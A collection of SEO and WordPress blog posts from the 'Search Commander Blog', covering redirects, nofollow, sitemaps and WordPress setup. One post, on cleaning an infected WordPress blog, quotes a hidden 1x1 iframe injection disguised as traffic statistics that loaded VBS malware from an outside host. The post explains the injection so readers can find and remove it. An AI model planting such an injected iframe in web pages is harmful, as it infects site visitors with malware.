In the case of the suggestions below, some are based on proven facts, and there’s a little bit of theory, some actually still under debate, but it’s my belief that they are all accurate, worth the effort, and solidly white hat, and you can count on this page being updated if anything changes.

21. Canonical Issues - The www.vs non www
Google sees subdomains as separate domain names, and the www prefix is just another subdomain. Therefore, it’s important to remove any possible confusion on their part by eliminating one of the two versions from displaying at all. My own preference is to always use the www.

Inside Google Webmaster tools, you can go to your domain account, then go to Tools and to “set preferred domain” which will let them know that you would prefer to use the www.

This step is not enough on its own however, (some people are even skeptical that this works at all) and it’s best to take care of it at the source, on your server, by simply not allowing the duplicate version to show in the first place.

On an Apache server using mod rewrite, I have placed the following code in MY .htaccess file to eliminate the appearance of the non www version of any page. You can do the same, (but using your OWN DOMAIN NAME)

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^pdxtc.com [NC]
RewriteRule ^(.*)$ http://www.pdxtc.com/$1 [L,R=301]

If you’re running your domain on a Windows server, see the next item, because just like everything else on a Windows server, it’s a far bigger pain in the neck.

22. Windows Servers - Canonical issues & Page versions
Besides needing to be rebooted all the time, and being a general pain in the neck to work on, Windows servers have their own unique issues when it comes to canonicalization and content duplication.

Since there’s no such thing as an .htaccess file, there is no easy and quick fix to the www vs. non www issue, and there’s also a whole host of other problems that can come up.

In many cases I have seen websites that have multiple versions of the same page, depending on whether or not capitalization was used in the URL, or depending on which designer may have created any certain
link on the site based on their personal style.

Some designers will use a capital letter for the first letter in a file name, some designers will use capitals for every word in the file name, and some will make things simple by never capitalizing filenames, (which is my preference).

For example, these may all be meant to display the same page, but to the search engines they are completely different, they can be the source of the duplicate content, and I’ve even seen them end up with different PageRank and inbound link counts -

http://www.domain.com/PageName.asp
http://www.domain.com/Pagename.asp
http://www.domain.com/pagename.asp

If you’re running your site on a Windows server you can resolve these problems by becoming best friends with a program called ISAPI Rewrite 2.0 - URL Rewriting for Windows Server IIS -

That program will allow you to create and implement the proper rules, to avoid duplication of page names with capital letters, and removal of the www. subdomain issue.

Learning exactly how to use it is your problem though, and I find it far easier to simply avoid hosting on a Windows server altogether

23. Bloated Code and Poor Load Times
Besides the obvious, (like not putting high-resolution large photos on your page) there are other things that can slow down the loading of a webpage, and just like most people, search engines absolutely hate slow webpages.

With all of the cool stuff we’re adding to our sites and blogs these days, including multimedia, tracking software, and even certain forms of advertisements, the code on some websites can become so bloated,
that it overwhelms the actual content in not only load times, but in actual volume too.

I’ve looked at the source code of webpages before, and literally had to scroll more than halfway before even getting to the first real word of actual text on the page. This is really a bad thing for the search engines.

I’m certainly not claiming that I know specifics, like the “magic ratio of code to text is 17%” that Google considers to be “optimal”, but I do know that having too much code is a serious problem.

Be sure to make use of include files to call your scripts wherever possible, and just clean up or take out all of your unnecessary code.

Scroll line by line through your templates or pages, and see what can be removed or can be called from an external file. You would really be surprised what you can live without, and how it might speed load times.

A great tool for evaluating your site is a Firefox extension called YSlow , which is used in conjunction with Firebug. It’s detailed analysis can be quite helpful in improving your site performance, without having to guess at various solutions.

24. Intelligent use of rel= “nofollow” - a.k.a. Sculpting
One of the primary ways Google works is that it passes PageRank through link text, from one page to another, and it also assigns relevancy to the landing page based on what words are used for the anchor text, and even what words are surrounding that anchor text.

The more pages on the Web that link to a specific page with a certain phrase, the more Google believes that page is “important” and should higher for that phrase.

This is standard operating procedure for Google, and you’ll know the day that ever changes, because the download page for Adobe Acrobat reader will no longer rank #1 for the phrase “click here”.

Put simply, some pages simply were not meant to rank, like your site’s privacy policy, security policy, member login pages, and possibly lots of other things that only exist for the users benefit, but are definitely not something you want to waste your PageRank on.

Therefore, an effective tactic to prevent wasting your “Link Juice”, is the use of the rel= “nofollow” tag. Google does not pass PageRank through no followed links, and that’s why people call no follow tags “link condoms”.

Proper implementation of this tag would look like this -
<a href=”http://www.domain.com/” rel= “nofollow”>anchor text</a>

I’ve always believed that you are far better off ensuring that the only link that’s followed is one that has the appropriate anchor text. That’s why on the homepage of my own blog, the permalink title to each post is normal, but the “read more” link is rel= “nofollow”.

Some might say this is a completely unnecessary, and in fact it was at Searchfest 2008 that I first heard “officially” that the search engines will only follow the first link they come to on a page.

I heard it from Rand Fishkin, and until that point it was always my assumption that unless it was no followed, all links passed juice.

However, even though Rand made it clear that it seems to be only the first instance of any link on a page was followed, I still don’t want to risk wasting my PageRank through that incorrect text just in case Rand is wrong, or in case Google changes the rules of the game, so I still use it.

*note - At this point in time, there are some conflicting viewpoints, and conflicting tests about this theory, so be warned that following this link will lead to at least a half hour of reading.

As for me, I’m still going to rely on my own sculpting, but I’m making this an official request to Jerry West of Web Marketing Now (my own SEO mentor & the original source for some of these tips) to please put his testing staff on this one, and publish the results in his SEO newsletter.

26. Image Links all nofollowed
Where do your image links go? Are they represented equally by text? You’re going to be far better off using rel= “nofollow” on any image links in your header, your menus, or pretty much anywhere else throughout the site, and instead ensuring that the same page you are linking to is represented elsewhere by good anchor text.

This isn’t “cheating” or “black hat”, it’s just good common sense. If intelligent use of the nofollow attribute is one of the few advanced SEO tactics still available, then why wouldn’t someone make use of it? Matt Cutts has already stated publicly that there’s no such thing as an “over optimization” penalty to Google, so it just seems logical to me.

Also, if Rand Fishkin is correct, (see item 24 above) then this is suddenly even more important, since you’re not getting any of your own text link love for anything that might be represented by an image on the page that’s appearing before a text link.

26. Keep Your Content Updated
On a large website, once a page is created, it can sit for months or even years before anything changes on it at all, and I think this is a mistake.

Adding a dynamic component to your website that will add or change content on regular basis is a good way to freshen your page, and appear to the search engines as if the information is more current.

The easiest way I know of to do this is through the use of RSS feeds, which will allow you to have news or strategic items of interest appear automatically, each time the source is updated.

In an ideal situation, your own original content would be used to change information on these pages. However, the lazy way out is to just use subject relevant industry news feeds from other sources.

A basic example would be the top right section of this blog, where my most recent blog posts freshen the content of every single page on the entire blog.

Another example of this in action, this time delivering more targeted and page relevant content, would be on my Search marketing speaker page, where I have the RSS feed of my “Public Speaking” category feeding below the contact form.

Every time I add a new post to that particular category of my blog, the content on that speaking page changes, even though I never have to touch it manually.

Depending on how your website is designed there are multiple ways to add RSS feeds, but we created a tool about a year ago that is versatile enough to allow you to add RSS feeds to any website.

27. Leverage your older links
I guarantee that you would be surprised at how much control you might have over some of the links you have obtained in the past, simply by contacting the webmaster or business in question, and asking them to make a change for you.

Let’s say you have a link from another local business that is pointing to your homepage, but it just looks like this http://www.domain.com. Since you already have a relationship with them, and they have recommended you with a link, do you really think it would be that difficult to get them to give you decent anchor text, or perhaps link to a more relevant (deeper) page in your site?

What about getting them to allow you to provide them with a unique article, giving you perhaps 2 or 3 different inbound links to deeper landing pages with the anchor text of your choice?

It’s far easier to contact the webmaster of a site that is already linking to you and get them to improve upon your existing link, than it is to try to get a new link.

28. Build links to your links
Have you ever done some link building for your own backlinks? If you have an opportunity to strengthen a page that already has an inbound link to you, then you can make the most of it by linking back to it from your domain and other sites too.

For example, if you’re a local plumber, and you’ve gained inbound links from your local Chamber of Commerce and your state Plumbers Association, then take advantage of the opportunity to strengthen those particular pages by sending them inbound links from not only your own domain but from anywhere else you might have the opportunity.

If you’re writing a profile about yourself or company to display somewhere else on the web, be sure to link not only to your own site, but mention these relevant associations that you belong to and link to your own profile pages.

Boosting the visibility (and PageRank) of any page that already links to you, will then benefit you directly through their links back to you. This is precisely why, on the left side of my blog, in most cases, those “association” links go to my individual profile pages, rather than just the homepage of whatever association I’m linking to.

29. Harvest your own Low Hanging Fruit
Many websites often have desirable rankings lurking on page 2 of the search results, and may not even be aware that they exist. This is because so few people ever click through to page 2, and many bacic stats programs only show the most popular referring key phrases. This is a huge area of missed opportunity.

Determining what phrases your website ranks for on page 2 is made easy with a free tool called SEODigger, which allows you to put in a domain name, then quickly see all of the phrases for which that website ranks, as well as the Wordtracker/Overture data for each phrase. Typically the results are from data 3 to 5 weeks old, but it can still be very useful for identifying that low hanging fruit.

How do you move a phrase from page 2 to page 1? Well, aside from developing more extra links to those pages with proper anchor text, take a look at the next item for an easy bump.

30. Drink your own Link Juice
Looking back at your old pages, your old blog posts, and even blog categories or archived months, you can typically find pages with decent PageRank that you can exploit to your own benefit.

To spell it out more clearly, I’m suggesting that you go into some of your older pages, and add or edit some links with good anchor text pointing to critical areas of your own site that you wish to improve.

If you want to know exactly which pages on your website would be best suited for adding your own internal link to another section, then simply use Google to do a site: search for that particular phrase, and Google will tell you by order of those results which are the most valuable.

For example, if I do this search at Google, site:www.searchcommander.com ppc panagement I can see that I have five pages that rank for PPC management (yuck).

By going back in and editing some text links into the content of the other pages, all pointing at my most desirable search result, it’s highly likely that I can improve my own ranking for that phrase. (But I won’t, because I hate managing PPC).

(It’s important to note that if you search your own domain on Google for a phrase, and get no results, then you have a bigger problem.)

Once again, please keep in mind that the items on this list are all just pieces of the pie, and and no single tactic or strategy is going to make or break you.

By combining these items with what’s in my first two articles, Top 10 SEO Factors and Beyond the Top 10 SEO Factors you should have quite an arsenal that will put you ahead of the competition. At that point, it should pretty much just be creating great content and generating links that can become your focus.

Original content from: Search Commander Blog

Further Beyond the Top 10 SEO Factors

What follows here are 10 more search ranking factors for the intermediate level SEO, and should be easy to understand. However, please leave any questions or comments for clarification, or feel free to offer more input if you like…

11. Robots.txt -
The robots.txt file has become a standard way of giving instructions to the search engines concerning your website, and it’s also an effective way of telling them where your XML site map is. You can read a lot more about the robots file here but the most important thing to remember, is simply that you need to have one.

If you have a robots.txt file, then your site won’t be generating 404 errors every time the search engines look for the file, and fewer 404 errors are a good thing.

A typical robots.txt file will show the spiders the location for the XML site map, and then disallow any directories that the site owner doesn’t want crawled, by either all spiders, or just certain user agents. For example, the following three lines may constitute an entire robots file:

Sitemap: http://www.pdxtc.com/sitemap.xml
User-agent: *
Disallow: /cgi-bin

If you’re not comfortable with the syntax, here is a free tool for generating your own Robots file…

12. Use an XML Sitemap -
The XML site map has become the de facto standard for ensuring all that of your pages get crawled. There are multiple free utilities and websites available for creating your XML site map, like…
http://www.xml-sitemaps.com/
http://www.auditmypc.com/free-sitemap-generator.asp
http://www.sitemapdoc.com/
but you need to keep in mind that this is NOT the same thing as number 7 in my top 10 SEO factors; a static site map.

No human will likely ever look at this file, and instead, you will upload it to your website, and then “tell” the search engines that it exists via your robots.txt file, and by manually submitting it through Google’s Webmaster tools.

13. Permanent 301 Redirects -
The actual file names (pagename.html) should not be changed if it can be avoided, and pages & sections should NEVER be deleted entirely from your website without redirecting spiders and humans to another page on your site.

Missing pages create 404 (page not found) errors, so it’s important to do a permanent redirect (301) to a similar or corresponding area of your website.

For example if you sell widgets, and a particular model of blue widgets is no longer carried, don’t just delete the page, but instead created 301 redirect pointing back to your blue widget category. This retains the value of any inbound links you may have obtained for that product, and prevents pages from showing up in the searc hindex that no longer exist.

14. Avoid 404 errors -
This item is more theoretical than fact, but nowadays, (especially with Google), “trust and credibility” weigh heavily in your ranking factors. Therefore, it’s my belief that the search engines do not look favorably upon sites with continual 404 errors.

If you are constantly changing your website, and visitors or spiders are coming up with 404 errors on a regular basis, then it’s possible (and I believe, likely) that the search engines could see that as “somewhat flaky” and lower your ranking. Again I have no proof here, but to me it’s logical, and I’ve always insisted that 404 errors be taken care of when evaluating a website.

There are tools you can use to find broken links, which are the most common source of 404 errors, and my preferred tool of choice is called Xenu Link Sleuth. You can also look at your own internal stats program to see what 404 errors may be getting generated, and while Google analytics does NOT show you your 404 errors, (how stupid is that?) most likely, your own web hosting internal web statistics do.

It’s important to track down and eliminate your 404 errors by either fixing the broken link, replacing the missing file(s), or by adding a 301 redirect for the missing URL to another relevant area of your site.

15. DocType statement in .html code -
Some people may think this is silly, but I’ve seen it help before. At the very top of your code, I recommend placing a DOCTYPE statement in the HTML code. A DOCTYPE statement in an HTML document declares the document type and level of HTML syntax. While no human visitor will ever see this, the statement is read by Web browsers, software, and even search engine spiders.

Again, this may be more theory than fact, but I can tell you that in my experience, with all other things being equal, a webpage with this statement will outrank a page without it more often than not.

If you care to learn more about the technical aspects of this DOCTYPE statement, read this, but otherwise feel free to “view source” here on my site and see what one looks like.

16. Valid .html code -
Requiring valid HTML code in my opinion is way overrated as a search ranking factor, but it is still worth looking at to catch the biggest errors.

If you really want to drive yourself crazy, and ensure hours and hours of work for your Web developer, then you insist that all of your code is “valid” when run through a validator such as the W3C validator tool.

It has been my experience that minor errors showing up here will not affect your ranking, however, I do believe that it is still a good idea to run your site through this validator, so that you can pick up any glaring or dramatic errors.

Most web developers, when shown the list of errors that will undoubtedly appear, will be able to cherry pick their way through them and fix a large quantity. Sometimes these errors can be major, and fixing them can be done easily, and doing so can improve your search rankings.

Other times these errors can be minor, take hours and hours to track down, and in the end they’ll have no significant impact on your search rankings.

My recommendation is to verify that major errors get cleaned up, and simply ignore the rest, unless your goal is just to keep a web developer busy digging through the code.

17. Clean URL’s -
Try to stay away from using long URL strings that contain ugly characters, and make no sense to humans. While the search engines have gotten far better at spidering and indexing them, people are still wary of clicking on them.

Whenever possible, try to use relevant keywords in your page names and directory names, and separate them by dashes, rather than the underscore character.

There is some evidence that doing so can improve your ranking for individual phrases, but there’s even more evidence showing that you are far more likely to get a click through when someone can tell that the URL is relevant to their search. Furthermore, as people share URLs via emails and bookmarks, “people friendly” URL’s are again, far more likely to get the click.

To illustrate, let me ask you which you of the following two URLs are you more likely to click on, if someone sends you a link, or you see them in a search result?

http://www.domain.com/1743233_uld.asp/cid=7344/?item=4330
or
http://www.domain.com/perfect-shirt-red/

18. Avoid Session ID’s -
While this is related to the previous item, clean URLs, it’s worth mentioning on its own. If you have a website that sells something, it’s likely that your users may be assigned session IDs when they visit for tracking purposes.

A session ID is appended to the URL, and makes a new or temporary set of URLs for the users entire visit. This can be excellent for monitoring site visitor statistics and user behavior, but can be detrimental to your search rankings, if your system is assigning session IDs to the search engine crawlers as well.

You need to ensure that session ID’s are not being assigned to search engine robots that are visiting your website, and to stop it, have your developer read this

19. Site Structure -
Your site should have a logical structure, with individual sections or categories for specific types of information and products. Doing so will allow users to easily determine where they are at any given time, it allows the search engine spiders to see a well-organized site, and it also allows you to develop your site in a “theme based” manner when it comes to adding content and developing inbound links.

A quick example would be that if your website sells cars, you have your top-level pages, including home, about us, contact, new cars, and used cars.

Underneath your new cars and used cars categories, you can break it down into brands, years and models, and as you get to specific cars, you would have photos, spec sheets etc about each given car.

Different search marketers call this type of structure something different, but setting things up this way creates a nice “Pyramid” or “Theme” or “Silo” structure to your website that lends itself to excellent search rankings.

Using a graphic tool for charting your websites structure is an excellent way to visualize what your site structure looks like, and for that I use Mindomo

20. Page file size-
Just like your actual web visitors, the search engines like pages that load quickly, and don’t make them wait for files & graphics to download. Keep your entire page size as small as possible, and I prefer to see most be under 100k total. The faster they load, the better.

Web developers and graphic artists frequently want to impress visitors and clients with their graphics or their flash files, but great care should be taken to make sure that a balance is achieved between how a page looks, and how long it takes to load.

You have to remember that pages are over 150K are often not even fully cached by the search engines, and Google considers page loading time so important that it has now become a factor for Googles Ad Words quality score.

They know that user response to slow loading pages produces a negative experience, so they are actually making you pay more for the slow loading pages, so it’s logical that this would extent to organic serps, as they try to improve the user experience.

To be continued -
This certainly isn’t everything but it’s a good start, so this article will be continued has been continued, with 10 more advanced SEO tips.

Original content from: Search Commander Blog

Beyond the Top 10 SEO Factors

Whether you’re looking for best practices in search marketing or e-commerce, analytics and measurement, testing and behavior targeting, or even e-mail marketing, there’s bound to be sessions that will educate and enlighten key members of your staff.

If your company is a member of SEMpdx, you can get a discount on attendance too, by visiting the SE SEMpdx member discount page.

Take a look at the agenda, and I hope to see you there!

Original content from: Search Commander Blog

Portland Online Marketing Summit

This is a regional remodeling and construction firm located in Vancouver Washington. I covered most of the basics from my SEO101 area, and pointed out an error in the robots.txt file. I hope you find this helpful, and if you have any questions at all please be sure to leave them here, so that everyone may benefit.

Original content from: Search Commander Blog

SEO Review - PrecisionNorthwest.com

In many cases WordPress can be a good supplement to existing website, allowing users to easily add and manage search engine friendly content without the need of the Web designer.

In other cases, entire project developments can be done in WordPress, allowing the site to be managed well by non-technical users, with all of the “SEO” aspects happening in the background.

In addition to recommending WordPress for clients, we’ve built dozens of our own affiliate websites on the platform, and have even launched a separate business, matching WordPress themes to the look and feel of existing sites.

Regardless of what the purpose of the WordPress site is going to be, or what particular plug-ins may help the owner meet those needs, there are some fundamental steps that need to be taken regarding WordPress, and I’ve outlined them for you here.

1. Host on your own domain
The free version of Wordpress that’s hosted at Wordpress.com is fine for familiarizing yourself with the functionality of writing posts and trying it out, but I recommend never using it for anything permanent. Here are just a few of the reasons…

On Wordpress.com hosted sites, you cannot use any plugins, since you have no FTP access. That means that you can’t use any of the cool things that have been developed, or any of the things that will be developed next.

Even though you own the content, you can’t monetize the site with ads, since it’s against WordPress rules.

Most important of all, since you don’t own the domain, if you one day decide that you’d like to host on your own domain, you can’t 301 redirect all of your old URL’s to your new location.

After you install WordPress -

2. Change the Admin Password -
Change your administrator password immediately after installation. Sometimes things are just flaky, and the admin email doesn’t arrive for hours, and in some cases, it never arrives.

I’ve also seen servers where the “lost / change password” function doesn’t work either. There is no way you’re ever going to remember that autgenerated password, so as soon as you see the splash screen showing you a successful install and the password, log right in and change it to a familiar and
secure one that you can remember.

3. Change your permalink structure
Search engines have gotten much better about crawling dynamic URL’s but it’s my belief that it’s still slightly beneficial to have keywords in them.

Not to mention that search engines are far less important than actual humans, aren’t they? Let’s face it - People are more likely to share and click on links that have decent URL’s, where they can tell what the item is about. For example, which of these two URL’s would attract your interest?

http://www.domain.com/free-superbowl-tickets or
http://www.domain.com/?p=32 ?

There are many options for permalinks, but my choice is this…
%category%/title%

Change by going to options - permalinks - and paste that code into the bottom line. If you get a message telling you that you need to update your HT access, then you should either do that manually, or simply change the permissions (CHMOD) for your .htaccess file so it’s writable.

If for some reason your posts don’t work after that just returned to the options section and recheck the default box, putting it all back to normal while you troubleshoot.

4. Make your display decisions -
If you’re using WordPress as a static site, then you need to decide whether you want to display your most recent articles (posts) on the homepage, or you want to have a separate homepage, and display your blog posts elsewhere. These options are chosen in WordPress admin at the settings - reading menu.

By default the homepage will show your latest posts, but if you prefer, you can choose to select a static page as your homepage, and a different page to show your posts.

Of course if you choose this latter option then you’ll first need to go create a new page as “Home”, and probably create a “news and articles” page as well, for the blog posts. You can also use the existing About page that comes added by default, but if you do that, I recommend you change the permalink for it as well.

5. Edit your title tag preferences -
(THIS IS THEME SPECIFIC)
By default, the WordPress titles are sort of weird. To better optimize them, here’s my solution. Just replace the <title> calls in header.php of your theme with the following code…

<title>< ?php if ( is_single() ) { ?>< ?php } ?>< ?php wp_title(”); ?> < ?php if (is_home()) { ?>< ?php } else { ?> | < ?php } ?> < ?php bloginfo(’name’); ?> </title>

This does a couple of things -
a. It places the individual post title at the beginning of the tag

b. It adds a “pipe” character | , or you might prefer to use a dash instead, but either one will have the desired effect of separating the title of the post from the title of the blog.

c. It gets rid of the >>blog archive >> that ends up going into many of the Wordpress URLs

6. Change or delete “Hello World” post, permalink, and comment -
The first post that is installed by default for you is called “Hello World”. If you do a search on Google for “Hello World” or “Welcome to Wordpress, this is your first post” and you’ll see how many people don’t even do that first part.

I also recommend changing the permalink to that post, which otherwise, will forever read /hello-world no matter WHAT the actual post title gets changed to. This is easily done on the right of the edit post screen.

7. Change “Uncategorized” category & permalink
By default, the name AND permalink to the first category is “uncategorized”, so you want to change that, by going to Manage > Categories in the admin panel. Be sure to choose a good master category name that will cover your bases for the occasional post you accidentally leave uncategorized, since this will become the default.

You’ll also want to be certain to edit the permalink at the same time, since that category is going to become a part of the URL.

8. Change “About” page title & Permalink
Depending on how you use static pages in your blog, this may not be necessary, but for me, it can’t be overlooked. Since I frequently use Wordpress for static sites, the first thing I dio is go to the edit > pages - and change the title of “About” to Home, and make it the home page. Unless I forever want the permalink to be, /about I change that at the same time to home.

9. Update your ping list
Every time a new page or post is added, WordPress can notify multiple services that you have new content. Doing so will be spidered and visited more frequently improving your rankings. These options can be found in the Admin section, by going to settings > writing, and scrolling to the bottom.

Instead of using just the one service provided by default, (Pingomatic), I prefer to paste about 100 known and functional ping sites in the list, and I’ve made my entire WordPress big ping list available

10. Install your first plugin - BACKUP
This takes under 60 seconds, and can potentially save you a lot of misery. After the blog is going, I like to use the Wordpress automatic backup plug-in, that will email your entire database to you on a regular basis, and even keep a copy on the server too - Download it here

Some people may argue that blocking or nofollowing your monthly archives (or even your category archives) belongs on this list,  but I think those choices are to be made on an individual basis, and chose not to include them on this list. Personally, I have not blocked either one on my blog, and Google seems to be figuring it out just fine.

It’s only after all these steps above are done that I’s recommend beginning to make your plugin choices and installing them.  Since there are literally hundreds of plugins that are rock solid, and will make Wordpress do amazing things, I’m not going to get into them here.

I will say though, that If you want your site to be found, and you want it to perform well, then you need to do some reading. Talented developers all over the world are creating little miracle plug-ins every day, and you should make your choices wisely, and do lots of homework…

Original content from: Search Commander Blog

10 Commandments of WordPress

I had every intention of posting the wrapup here, but frankly, the SMX blog gets a lot more exposure in the Internet marketing community than I do, and I thought it was pretty good, so that’s where I’ve put it.

I’ve got four or five half finished posts that I would like to get up, along with nearly 20 barely begun ideas sitting in my Wordpress drafts, but I just don’t seem to have the time. Maybe someday I’ll have the luxury of writing all day long, but in the meantime, I’m doing my best…

Maybe I’ll get lucky, and Matt Cutts will answer these questions I posed in #9…

1. Does the age of the anchor text matter? - It’s long been established practice to review your own inbound link profile, and go back to some of your old partners, and try to get the anchor text changed, but might that be “resetting the clock” somehow? Bad idea?
2. Does changing the URL of an inbound link matter? - If you can somehow actually get a link partner to change the inbound link text, then it’s probably no more difficult to get them to change the target. Anyone that’s tried it has seen that help in the past. However, does changing the target URL to a deeper link but would that “reset the clock” somehow?
3. What about changing the domain entirely for that old link? Does that “reset the clock” too?

Please head over to the SEMpdx blog, and read my SMX Advanced Top 10 nuggets of knowledge, and if you like it, please be sure give it a Sphinn!

Original content from: Search Commander Blog

SMX Advanced 2008 - Was it Worth the Trip?

This is a website for authors, copywriters and editing help, that is missing a couple of the key fundamentals that I outline in my SEO101 section. The review is just 12 minutes long, but provides important information to the site owner.

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Original content from: Search Commander Blog

Site Review - Potomac-Writing-Service.com

The owner of this site wants to be found for more “Second Life” related search terms, and In the 10 minute video I offer some intermediate level suggestions that may help with overall visibility.

Original content from: Search Commander Blog

Website Review - slmediasource.com

I’m going to go out on a limb and risk embarrassment by admitting that I did not recognize the name Matt McGee when Todd Mintz mentioned him about 18 months ago in a discussion about “people we’d like to get to Portland some day” while we were at an SEMpdx board meeting. (Sorry Matt

Even Todds s mention of Small Busines SEM didn’t directly ring a bell, although once I saw the graphics I recognized it as something I had indeed read before, and was looking forward to meeting him.

Since hearing his name for the first time, I’ve seen Matt speak twice, and hung out with him at SES San Jose, at Pubcon 2007 (was it twice?) at SMX Advanced in Seattle I think, and most recently here at Portlands’ SearchFest 2008.

Unfortunately for me, I did not get to hear his SearchFest presentation because I was presenting in the other room and I really wanted tobecause he had recently released something he called the SEO Success Pyramid.

On my long-time list of “things I should do” was to create something like that , which provided a fantastic graphical overview of things you must do, complete with visuals. You can download a full color copy here.

Next Tuesday is a rare opprtunity to meet Matt in person, and be treated to his knowledge and expertise in his presentation. Afterward, I’m honored to get to be on the panel with him, as we present another round of SEM Hot Seat.

Where? When? How Much?
Next Tuesday night 5/20/08 at the Hotel deLuxe from 6 to 8pm, with the after hours party at… ?

Find out more, and register here and if you’re going, please drop a comment here, or be sure to say hello.

Original content from: Search Commander Blog

SEMpdx Featuring Matt McGee Tuesday

Advertising Age magazine just published an article called, “A Web-Wide social network“, and it’s really worth a read for clients that don’t get it many people that are in “social denial” and still think the answer to everything is going to be found in higher search engine rankings. That’s very short sighted, in my opinion.

I think that if you really value your business over the years to come, and you have the foresight to look past next months SERPs and your sales figures, then it’s really helpful to understand how all this stuff is going to continue to morph your world as you know it.

At the Elite Retreat in San Francisco, Matt Mullenweg of Wordpress and Automattic talked about where he thought things were going to go in the future, and what he envisioned for his company and for the evolution of Wordpress.

He explained that in the same way most of us began with AOL, (or in my case, Prodigy), he thought that today’s communities that we’re all joining, like MySpace and Facebook, are all just temporary placeholders, until better options become available.

True sharing of information and data becoming available across common websites and platforms (like Wordpress for example) is going to change the way our kids look at things. Do you think they’re going to have the patience to sit down and fill out 35 profiles? Highly unlikely, wouldn’t you say?

In the lower right side of my blog you’ll see a social community called My Bloglog, where people that choose to share and show their information will appear on my site with photos, and I would appear on theirs, and it’s all pretty cool. If anyone wants to find out more about a particular visitor, they can go to his profile and find it.

Another example or this sort of “interconnected sociality” that I’m using on this blog would be the Gravatar plugin, which stands for Globally Recognized Avatars.

This means that anyone who’s Gravatar member that comments on this blog instantly has their picture up here by their comment, allowing for true sharing of information. Gravatar Accounts are free, and you can sign up for one here. There are no real profile pages there to speak of, but I would guess there’s something in the works.

The author of the Advertising Age story, Abbey Klassen, quotes another blogger talking about how “social networks will be like air, saying this…

“I thought about my grade-school kids, who in 10 years will be in the midst of social network engagement. I believe they (and we) will look back to 2008 and think it archaic and quaint that we had to go to a destination like Facebook or LinkedIn to ‘be social.’

Even if you don’t have time to read the whole article, then I recommend you at least scroll to the part where it says “Listen Up Marketers“, because this is affecting our future faster than we think.

Original content from: Search Commander Blog

Social Convergence is Coming FAST

Ultimately he ended up having a local computer repair person come out, who cleaned up his system and a couple of hours and the problem went away., but today,we talked by phone, and he told me he got the warning again when he viewed his own blog.

I took a look at his blog and here’s what I saw -

Interesting! I recognize the IP address from the file that I couldn’t seem to get rid of while I was visiting, so now we had our culprit. We knew where his virus came from… it came from his own WordPress blog!

At that point I did little bit of research, and found a post on the WordPress support forum talking about this very issue, where it seemed that someone had inserted this code into one of someone else’s old posts.

<!– Traffic Statistics –> <iframe height=”1″ width=”1″ frameBorder=”0″ src=”http://www.wp-stats-XXXphp.info/iframe/wp-stats.XXXphp”></iframe><!– End Traffic Statistics –>

At that point it was a matter of picking through all of his posts manually, and viewing the html code of each one, before finding and deleting it. Of course, in his case, it was found in 8 different posts! It was coming from http://61.155.8.157/iframe/wp-stats.php and was a VBS Malware-gen

Luckily he’s an infrequent poster, but can you imagine how difficult this may have been if there were multiple users posting everyday?

The moral of the story? Moderate your new users, use a secure password, keep your Wordpress current (his was not) and watch out for strange e-mail addresses signing up as new users!

Original content from: Search Commander Blog

Virus in a Wordpress Post

By that, I mean you need to consider every variation that might be possible, whether that be by city name or even a synonym for a certain service or occupation, and it always seems that many get overlooked.

For example, let’s say you ‘re doing a PPC campaign for plumber in the San Fernando valley, down in Southern California.

You’ve used all your different keyword research tools, and now you have dozens or even hundreds of primary key phrases, like Plumbing, Plumber, clogged drain, sink repair, unplug my toilet in, etc.

You know that there are an almost endless number of cities and towns that people are searching besides Los Angeles, like Woodland Hills, Tarzana, Encino, Calabasas, etc.

Manually putting that list together was a pain in the neck, and a couple of years ago while performing this tedious task, it crossed my mind that this job could likely be accomplished in an Excel spreadsheet.

Now I know nothing about writing macros, so the first person that crossed my mind, was Karen Westermann, the Excel Queen, and in a few short days, I had my tool. (Thanks, Karen!)

Fast forward to 2008, in a recent discussion with my best programmer about various projects, I asked her if she could turn the spreadsheet into a web application that would run inside a WordPress page.

Much to my delight, she said “sure, in a snap” so the keyword mashup tool was born. I suppose it’s a little bit like keyword tumbler, but I think it’s far less complicated.

All you have to do is take one group, and put them on the left side, and another group on the right side, and press the button to combine your list. That’s it.

You can also use the tool more than once, which is something you might do for an attorney with more than one type of practice, or a contractor, with many different specialties and departments..

For example, on the left side you might put a few dozen phrases like medical malpractice, product liability, personal injury, etc. and on the right side you might use synonyms, like lawyer, attorney, legal help, law office, etc.

Then you could take the first list you compile and run it again on the left side, putting your geographic locations on the right, and pushing the button one more time. It’s very simple, very basic, but saves a pretty fair amount of time.

Try my keyword mashup tool for yourself, and please tell me what you think!

Original content from: Search Commander Blog

Keyword Mashup Tool Launched

One of my favorite utilities of all time, Winpatrol,  has just updated to their 2008 version, and the company owner has provided me with an affiliate version that I can give away at no charge.

I used to have a computer repair store in Portland, and our shop fixed anywhere from 30 to 60 computers a week that people brought in from various problems. Additionally, we did a lot of on-site service too, dealing with small businesses, setting up networks, file sharing etc.

While some of the computer work that got done was upgrading or replacing components, the vast majority of our work had to do with “problems”, meaning Windows just wasn’t behaving the way it was supposed to.

Nine out of ten times the problem was not with Windows, but with third-party software that had been unknowingly starting up on the user’s system, sucking up all their available memory.

Whether that software was spyware, or a legitimate piece of software that simply attached itself to the Windows startup process, making the computer run more efficiently always involved removing these startup programs from memory.

As far back as 1998 I was writing articles not only about the search engines, but about how to improve performance on your computer, and even how to be your own IT department. A few years ago a local consultant named Steve Shank told me about a program called Winpatrol, and as soon as I tried it I was hooked.

Everything about Winpatrol is designed to give the user complete control over what runs and what doesn’t run on your system, so you can maximize your performance.

There’s an easy user interface that lets you see what’s starting up each time Windows does, and you can remove or disable them as you see fit. In some cases, the change can be so dramatic, that it will feel like you’ve got a new computer at your desk.

After my recent hard drive loss I had to reinstall windows, and after completion, here’s everything that Winpatrol helped me disable with a simple click of the mouse. Do you think my performance improved?

Choosing to “disable” something doesn’t remove any functionality from your system, it just prevents it from starting up when your system boots, so things can be started manually, if needed. If you’re not sure what something is, there’s an info screen that tells more about each individual item, like the company name and when it was added to your system.

The free version gives the same full functionality as the paid version, but the paid version has a few benefits, including access to a massive knowledgebase about nearly every program under the sun, and “real time” infiltration detection. True geeks like me will want that stuff, but for most people, the free version is everything they could want. (Personally, I still think he gives away far too much for free, but it’s gained him quite a huge fan base)

It’s very easy to figure out, with an intuitive user interface, and a quick and easy setup. However, if you are a complete beginner, here’s a link to a short video demonstrating how I downloaded, installed, and configured it on a system recently. The video is in Flash, and will open in another window.

